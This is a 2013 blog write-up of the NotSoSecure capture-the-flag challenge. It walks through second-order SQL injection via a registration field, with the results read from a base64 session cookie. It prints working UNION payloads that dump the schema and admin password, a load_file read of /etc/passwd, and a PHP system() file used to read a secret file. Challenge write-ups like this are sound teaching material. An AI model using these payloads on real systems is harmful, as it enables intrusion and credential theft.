Sunday, October 27, 2013

NotSoSecure CTF writeup

The NotSoSecure CTF was a one-player CTF with only 2 flags to capture. At the beginning, players were presented with a simple login page:

I was trying for a very long time to inject some SQL into the username of password fields, to no avail. Then when I was checking out Twitter, I found that somebody has already managed to log in by registering. Then I tried to load register.php, and it worked. I got a nice message there: "Invalid data".

I tried to send post data to the register page, but I couldn't get the post parameter names correctly, because I always received the "Invalid data" message. After this, I tried to load different pages with mixed results. Then when I tried /login/ the result was strange. The HTML was the same, but the CSS could not be loaded because of the different path. It was the same with /register/ and /login/login/.../.

After looking at the HTML source in detail, I found that the login parameters are actually submitted to checklogin.php. When trying to load the /checklogin/ page however, the browser displayed a redirection error. That was strange, so I checked it out with this little python code instead:

url = ""
print requests.get(url, allow_redirects=False).text
The result was: 7365637265745f72656769737465722e68746d6c. If we unhexlify this value, we get: "secret_register.html", and this is the first clue. After this I could register, and log in with the new user. This is what I saw when logging in:

Again I spent lots and lots of time trying to slip some SQLi into the system when registering, but it never seemed to work. No error messages, and the user was registered correctly every time. Then I looked at the cookies after logging in and I found something interesting:

The session_id was "cGxhaW50ZXh0QHBsYWludGV4dC5wbA%3D%3D", which is a base64 encoded string. After decoding it I got "", which is the fake e-mail address I registered with. During some tests I discovered that there is no session_id cookie if I try to inject into the username field. After this I wrote a python script that registers a user with the input I supply and checks the cookies. You can find the script here. These values were interesting:

registered value --> cookie
admin\           -->
admin\\          --> admin\
admin\\\         --> admin\
admin\\\\        --> admin\\
The backslashes are very suspiciously escaped here so I tried to do some SQLi and check the cookie for the results. Amazingly it worked. Here is the output of my script:
test' or 1=1--
test' and 1=0 union all select 1--
Cookie: missing
test' and 1=0 union all select 1,2--
Cookie: 1
Gotcha! It's time to dump table names and columns. A log of my tries follows, with some of the unnecessary tries deleted:

test' and 1=0 union all select 1,2 from information_schema.tables--
Cookie: 1
We have read access!
test' and 1=0 union all select table_name,2 from information_schema.tables limit 40,1--
Cookie: users
test' and 1=0 union all select table_schema,2 from information_schema.tables limit 40,1--
Cookie: 2ndorder
test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 0,1--
Cookie: id
test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 1,1--
Cookie: name
test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 2,1--
Cookie: password
And I can find the password for the admin with this query:
test' and 1=0 union all select concat(name,char(0x20),password),1 from 2ndorder.users--
Cookie: admin sqlilabRocKs!!
Yay! I can now log in and get the first flag!

And I get a very clear clue about the second flag. I need to access files on the server, namely secret.txt. Let's see if I have file privileges in MySQL:
test' and 1=0 union all selectload_file('/etc/passwd'),1--
Cookie: root:x:0:0:root:/root:/bin/bash
I do, and I just found another clue: temp123 is a user that we might log into, because they have a weak password. And indeed, the password was "weakpassword1". I can now look around on the server to find the second flag. It's in the root directory and it's only readable by the www-data user, and so I need to have code execution from www-data. To achieve this, I created a public_html directory for user temp123 and placed a php file in it:
<?php echo system("cat /secret.txt"); ?>
This worked like a charm! After visiting I found the second flag.

Thanks for the challenge to Sid and NotSoSecure CTF, it was nice!

No comments:

Post a Comment